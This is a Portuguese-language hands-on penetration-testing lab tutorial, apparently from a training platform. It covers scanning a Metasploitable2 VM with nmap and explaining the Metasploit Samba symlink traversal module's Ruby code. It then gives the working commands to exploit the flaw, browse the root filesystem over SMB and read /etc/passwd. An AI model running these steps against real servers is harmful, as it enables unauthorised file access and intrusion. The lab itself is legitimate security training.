Explorar Vulnerabilidade Samba no Metasploitable2 com Nmap

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá como explorar uma nova vulnerabilidade do Samba na máquina alvo Metasploitable2. Ao longo do processo, você receberá capturas de tela para cada etapa. Ao concluir este laboratório, você obterá experiência prática no uso de ferramentas para explorar a vulnerabilidade do Samba.

Este curso é um tutorial experimental puramente prático. Para ajudá-lo a entender as operações no experimento, alguma teoria de segurança da informação será introduzida, e os artigos mais valiosos serão recomendados para você ler enquanto pratica.

Iniciar o Ambiente do Experimento

Nesta etapa, você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.

  1. Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2

Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.

  1. Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

  1. Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.

Observação: Se você sair acidentalmente do bash atual, o container Kali parará automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.

Verificar o Host Alvo em Busca de Vulnerabilidades

Nesta etapa, você usará o Nmap para escanear o host alvo em busca de vulnerabilidades.

Primeiro, faça login no terminal MSF no ambiente LabEx Kali:

cd ~
service postgresql start
msfdb init
msfconsole

Coletar informações sobre o host alvo é o primeiro passo no teste de penetração. Use o Nmap para escanear o host alvo em busca de vulnerabilidades e salve os resultados da varredura no arquivo /tmp/report.txt inserindo o seguinte comando:

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Os parâmetros usados aqui têm os seguintes significados:

Parâmetro Descrição
-p Especifica a faixa de portas a serem escaneadas
-T4 Define a política de tempo para a varredura Nmap, com valores de 0-5 (quanto maior, mais rápido)
-A Habilita a detecção do sistema operacional e a detecção da versão
-v Exibe informações detalhadas durante o processo de varredura
>/tmp/report.txt Redireciona a saída para um arquivo para análise posterior

Este processo pode levar algum tempo porque uma ampla gama de portas está sendo escaneada para coleta abrangente de informações. Por favor, seja paciente e aguarde um a dois minutos.

Após a conclusão da varredura, pressione Ctrl+D use o comando cat para visualizar o conteúdo do arquivo no terminal LabEx Kali:

cat /tmp/report.txt

Você deve ver informações semelhantes às seguintes no texto:

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Isso indica que as portas 139 e 445 estão executando o serviço Samba.

Analisar a Vulnerabilidade do Samba

Nesta etapa, você aprenderá sobre a vulnerabilidade Samba e analisará o código principal do módulo de exploit.

Samba é um software livre que permite que sistemas operacionais semelhantes ao UNIX se conectem com o protocolo de rede SMB/CIFS (Server Message Block/Common Internet File System) usado pelo Microsoft Windows. A versão 3 não apenas permite o acesso e o compartilhamento de pastas e impressoras SMB, mas também pode se integrar a um domínio do Windows Server como um Controlador de Domínio ou ingressar em um Active Directory como membro. Em termos mais simples, este software preenche a lacuna entre o Windows e sistemas operacionais semelhantes ao UNIX, permitindo o compartilhamento de recursos entre os dois.

O Samba tem uma ampla gama de aplicações e, portanto, as vulnerabilidades no Samba podem ter um impacto significativo. O Samba pode criar compartilhamentos de rede para diretórios Unix selecionados (incluindo todos os subdiretórios). Este recurso permite que os usuários do Windows acessem esses diretórios Unix pela rede, assim como acessam pastas regulares do Windows.

O índice de vulnerabilidade usado neste experimento é:

OSVDB-62145

O índice do código-fonte para o módulo samba usado neste experimento é:

symlink_traversal.rb

Vamos analisar a explicação do código principal:

  ## Informações de inicialização do módulo, incluindo informações do autor e introdução do módulo
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

Após explicar o código principal do módulo, vamos realizar a exploração real no terminal MSF inserindo os seguintes comandos:

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

Defina o host alvo:

set RHOST 192.168.122.102

Selecione o diretório compartilhado:

set SMBSHARE tmp

Observação: Como lembrete, o impacto desta vulnerabilidade Samba é que ela permite a criação de compartilhamentos de rede para diretórios Unix selecionados (incluindo todos os subdiretórios).

Depois de definir todos os parâmetros necessários, você pode prosseguir com a exploração da vulnerabilidade:

exploit

Se for bem-sucedido, você deverá ver a seguinte mensagem:

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

Após a exploração bem-sucedida, saia com o comando exit e teste se você pode se conectar usando smbclient no terminal. Você será solicitado a inserir uma senha, mas pode pressionar Enter sem inserir nenhuma senha:

exit
smbclient //192.168.122.102/tmp

Depois de conectado, você pode verificar o acesso ao sistema de arquivos raiz executando o seguinte comando:

more rootfs/etc/passwd

Você deve ver uma saída semelhante a:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

Isso confirma que você explorou com sucesso a vulnerabilidade e obteve acesso ao host alvo por meio do compartilhamento de rede criado.

Pressione Ctrl+D para sair do console Metasploit e iniciar a inspeção

Resumo

Neste laboratório, você aprendeu sobre a vulnerabilidade Samba no Metasploitable2 e foi guiado pelo processo de exploração dessa vulnerabilidade na máquina alvo usando as etapas originais. Em seguida, você usou o compartilhamento de rede criado para fazer login no host alvo comprometido. Os pontos-chave abordados neste laboratório incluem:

  • Comandos básicos do Linux
  • Varredura de vulnerabilidade Nmap
  • Análise da vulnerabilidade Samba escaneada
  • Explicação do código principal do módulo symlink_traversal
  • Login no host alvo usando o compartilhamento de arquivos de rede

Recomenda-se que você pratique essas etapas repetidamente para fortalecer sua compreensão do processo de teste de penetração. A seção de leitura recomendada fornece recursos adicionais para você aprofundar seu conhecimento sobre as vulnerabilidades do Samba.